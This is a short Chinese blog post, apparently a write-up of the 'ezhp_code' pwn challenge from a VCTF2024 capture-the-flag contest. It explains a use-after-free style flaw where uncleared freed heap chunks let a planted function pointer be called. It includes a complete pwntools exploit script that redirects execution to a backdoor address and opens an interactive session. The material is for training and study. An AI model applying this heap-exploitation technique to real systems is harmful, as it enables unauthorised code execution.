[VCTF2024纳新赛]-PWN:ezhp_code解析

查看保护

查看ida

简单来说就是创建堆块和删除堆块而已,创建堆块的函数附带有写入函数。

但这里要注意一个程序里面的特殊的地方

在我们创建堆块时,程序会先创建一个0xa0大小堆块,并且这个地方还有个特殊的check_handle函数,如果在这个堆块地址+40的地方如果有函数地址,就会跳转执行。

并且创建堆块使用的时malloc,释放堆块也并没有清空堆块内容,所以我们可以加以利用。

完整exp:

from pwn import*
context(log_level='debug')
p=process('./heapcode')
backdoor=0x4012A5

def alloc(size,content):
    p.sendlineafter(b'3.exit',b'1')
    p.sendlineafter(b'Input your name:',b'aa')
    p.sendlineafter(b'The length you want to say:',str(size))
    p.sendlineafter(b'You say:',content)
def free():
    p.sendlineafter(b'3.exit',b'2')

alloc(0x90//2,p64(0)*5+p64(backdoor))
free()
alloc(0x10,p64(0))
p.sendlineafter(b'3.exit',b'1')
p.interactive()

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值